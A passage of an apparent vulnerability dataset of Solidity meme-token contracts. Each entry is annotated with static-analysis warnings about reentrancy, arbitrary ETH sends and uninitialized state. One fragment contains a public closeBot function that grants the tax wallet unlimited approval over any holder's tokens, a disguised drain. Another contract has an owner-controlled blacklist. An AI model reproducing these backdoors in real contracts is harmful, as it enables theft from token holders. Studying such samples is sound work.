_taxWallet = payable(_npeeee);\n\n _caLimitSell = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7c3a7c0): NPE._bots is never initialized. It is used in NPE._transfer(address,address,uint256) NPE.closeBot(address)\n\t// Recommendation for 7c3a7c0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function closeBot(address _rot) public returns (bool) {\n _approve(_rot, _npeeee, _tTotal);\n\n return _bots[_rot];\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7cb240a): NPE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7cb240a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3a34787\n\t\t// reentrancy-events | ID: 892fa4b\n\t\t// reentrancy-eth | ID: 5682de2\n\t\t// reentrancy-eth | ID: 3f38c6b\n\t\t// arbitrary-send-eth | ID: 7cb240a\n _taxWallet.transfer(amount);\n }\n\n function getStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9595fda): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9595fda: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: edc74bc): NPE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for edc74bc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5d1cfe9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5d1cfe9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9595fda\n\t\t// reentrancy-eth | ID: 5d1cfe9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9595fda\n\t\t// unused-return | ID: edc74bc\n\t\t// reentrancy-eth | ID: 5d1cfe9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9595fda\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5d1cfe9\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_1065.sol",
"size_bytes": 21303,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MATTFURIESCAT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8ee393a): MATTFURIESCAT._taxWallet should be immutable \n\t// Recommendation for 8ee393a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f63a7f): MATTFURIESCAT._initialBuyTax should be constant \n\t// Recommendation for 4f63a7f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f62117): MATTFURIESCAT._initialSellTax should be constant \n\t// Recommendation for 2f62117: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d8d410): MATTFURIESCAT._reduceBuyTaxAt should be constant \n\t// Recommendation for 6d8d410: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5568d57): MATTFURIESCAT._reduceSellTaxAt should be constant \n\t// Recommendation for 5568d57: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e13e13): MATTFURIESCAT._preventSwapBefore should be constant \n\t// Recommendation for 6e13e13: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"𝓜𝓪𝓽𝓽 𝓕𝓾𝓻𝓲𝓮's Cat\"; //\n\n string private constant _symbol = unicode\"$MUFFIN\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e99944): MATTFURIESCAT._taxSwapThreshold should be constant \n\t// Recommendation for 9e99944: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd08454): MATTFURIESCAT._maxTaxSwap should be constant \n\t// Recommendation for fd08454: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x2C04222D47D0A6EdEcbbCAd25550ab6de16b11C5);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5a98969): MATTFURIESCAT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5a98969: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2e536fb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2e536fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e36562f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e36562f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2e536fb\n\t\t// reentrancy-benign | ID: e36562f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2e536fb\n\t\t// reentrancy-benign | ID: e36562f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f0105c7): MATTFURIESCAT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f0105c7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e36562f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2e536fb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f911b90): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f911b90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 456e465): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 456e465: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f911b90\n\t\t\t\t// reentrancy-eth | ID: 456e465\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f911b90\n\t\t\t\t\t// reentrancy-eth | ID: 456e465\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 456e465\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 456e465\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 456e465\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f911b90\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 456e465\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 456e465\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f911b90\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2e536fb\n\t\t// reentrancy-events | ID: f911b90\n\t\t// reentrancy-benign | ID: e36562f\n\t\t// reentrancy-eth | ID: 456e465\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2e536fb\n\t\t// reentrancy-events | ID: f911b90\n\t\t// reentrancy-eth | ID: 456e465\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e9b5246): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e9b5246: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 23c4ff1): MATTFURIESCAT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 23c4ff1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a9fcc42): MATTFURIESCAT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a9fcc42: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 26738d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 26738d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e9b5246\n\t\t// reentrancy-eth | ID: 26738d7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e9b5246\n\t\t// unused-return | ID: a9fcc42\n\t\t// reentrancy-eth | ID: 26738d7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e9b5246\n\t\t// unused-return | ID: 23c4ff1\n\t\t// reentrancy-eth | ID: 26738d7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e9b5246\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 26738d7\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10650.sol",
"size_bytes": 20010,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DigitalOwnershipGovernanceExchange is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9bdb38a): DigitalOwnershipGovernanceExchange._taxWallet should be immutable \n\t// Recommendation for 9bdb38a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b92f5b5): DigitalOwnershipGovernanceExchange._initialBuyTax should be constant \n\t// Recommendation for b92f5b5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: db0f4e0): DigitalOwnershipGovernanceExchange._initialSellTax should be constant \n\t// Recommendation for db0f4e0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8d0cd0): DigitalOwnershipGovernanceExchange._reduceBuyTaxAt should be constant \n\t// Recommendation for d8d0cd0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84cf3da): DigitalOwnershipGovernanceExchange._reduceSellTaxAt should be constant \n\t// Recommendation for 84cf3da: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0725155): DigitalOwnershipGovernanceExchange._preventSwapBefore should be constant \n\t// Recommendation for 0725155: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"Digital Ownership & Governance Exchange\"; //\n\n string private constant _symbol = unicode\"$D.O.G.E\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2080d55): DigitalOwnershipGovernanceExchange._taxSwapThreshold should be constant \n\t// Recommendation for 2080d55: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 24af35a): DigitalOwnershipGovernanceExchange._maxTaxSwap should be constant \n\t// Recommendation for 24af35a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x9dccacb959e244d8A2358B62948911196a47a2F3);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 62721ab): DigitalOwnershipGovernanceExchange.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 62721ab: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6b4551e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6b4551e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9977780): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9977780: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6b4551e\n\t\t// reentrancy-benign | ID: 9977780\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6b4551e\n\t\t// reentrancy-benign | ID: 9977780\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bae5cd8): DigitalOwnershipGovernanceExchange._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bae5cd8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9977780\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6b4551e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ae3e064): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ae3e064: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0973d67): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0973d67: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address 